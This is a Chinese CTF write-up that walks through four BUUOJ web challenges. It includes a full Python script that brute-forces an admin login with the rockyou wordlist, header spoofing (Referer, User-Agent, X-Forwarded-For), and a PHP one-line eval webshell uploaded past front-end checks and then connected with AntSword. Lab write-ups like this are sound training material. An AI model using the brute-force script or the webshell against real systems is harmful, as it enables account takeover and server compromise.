今天做三+1个web
题目:NSB_login
用户名有admin,看源码:
I like rockyou!今天学习到,kali里面有密码爆破的文件叫rockyou.txt(/usr/share/wordlists/)(没kali也可以去https://gitcode.com/Premium-Resources/754e5下载)。
按源码备注提示,那就应该用这个字典进行爆破,burp也行,但佬说容易崩,所以在这用py脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import json
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry# 目标URL - 确认是否为正确的登录处理地址
url = "http://34c06c2f-cdc1-46e7-bdb4-817ca697d251.node5.buuoj.cn:81/login.php"# 配置会话
session = requests.Session()
retry_strategy = Retry(total=3,backoff_factor=0.1,status_forcelist=[429, 500, 502, 503, 504]
)
adapter = HTTPAdapter(max_retries=retry_strategy, pool_connections=10, pool_maxsize=10)
session.mount("http://", adapter)
session.mount("https://", adapter)# 添加常见的请求头,模拟浏览器行为
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Referer": url, # 添加来源页,有些服务器会检查"Connection": "keep-alive"
}# 先获取登录页面,可能需要获取cookie
try:session.get(url, headers=headers, timeout=5)
except Exception as e:print(f"获取登录页面失败: {str(e)}")with open('D:\\rockyou.txt', 'r', encoding='utf-8', errors='ignore') as f:i = 0for line in f:password = line.strip()if not password:continuedata = {'email': 'admin','password': password,'remember_me': 0}try:# 发送POST请求response = session.post(url, data=data, headers=headers, timeout=5)response.encoding = 'utf-8'# 每500个密码打印一次状态if i % 500 == 0:print(f"已尝试 {i} 个密码,当前尝试: {password} (状态码: {response.status_code})")# 检查状态码if response.status_code == 405:print(f"\n服务器拒绝请求 (405),可能需要修改请求方式或URL")print(f"响应内容: {response.text[:500]}")break# 检查是否是成功的响应if response.status_code == 200:# 解析响应try:result = json.loads(response.text)# 根据返回的消息判断if result.get('ret') == 0 and "密码错误" in result['data'].get('msg', ''):# 密码错误,继续尝试passelse:# 可能是成功的情况print(f"\n找到正确密码! 第{i}个尝试: {password}")print(f"响应内容: {result}")breakexcept json.JSONDecodeError:# 非JSON响应,检查是否包含密码错误if "密码错误" not in response.text:print(f"\n找到正确密码! 第{i}个尝试: {password}")print(f"响应内容: {response.text[:500]}")breakelse:# 其他状态码,可能是成功print(f"\n找到正确密码! 第{i}个尝试: {password} (状态码: {response.status_code})")print(f"响应内容: {response.text[:500]}")breaki += 1except Exception as e:print(f"\n请求出错: {str(e)},当前密码: {password}")continueelse:print(f"已尝试所有密码({i}个),未找到正确密码")
记得修改上面的url和你真实rockyou.txt的位置。跑了许久(他会报错的,报错后过一会就会跳出Flag),得到:
题目:http
还挺长的一个网页,看看源码。
文件链接,点进去看看
说这不从"https://Sycsecret.buuoj.cn"来,打开burpsuite抓包修改重放下
Referer: https://Sycsecret.buuoj.cn
红框里是新添加的,点击放包看看效果:
那再修改,修改代理,把原先User-Agent修改为题目上述提示的Syclover browser
User-Agent:Syclover browser
得到
No!?说你只能本地看。那把改本地
X-Forwarded-For: 127.0.0.1
得到:
题目:[极客大挑战 2019]Upload
题目如下,看前端源码没有可以注意的东西
我试着上传一张图片(背景.jpg),结果回显:
搜寻资料,建议,先传马,一句话木马:
GIF89a
<script language='php'>eval($_POST['shell']);</script>
写入.txt里,将文件上传,但上传中用BP拦截修改文件
这样就可以成功绕过前端的检查,得到
后面根据这个马,通过蚁剑进行连接。(下图前面多了个http://,记得删)连接地址是"url"/upload/shell.phtml
连接成功后,在根目录找到了flag
点击查看
题目:[ACTF2020 新生赛]Upload
题目如下
打开前端,看看源码
依然是前端验证
传jpg然后BP改成一句话木马,就可以用蚁剑连接了。和上一道([极客大挑战 2019]Upload)一模一样
flag还是在根目录: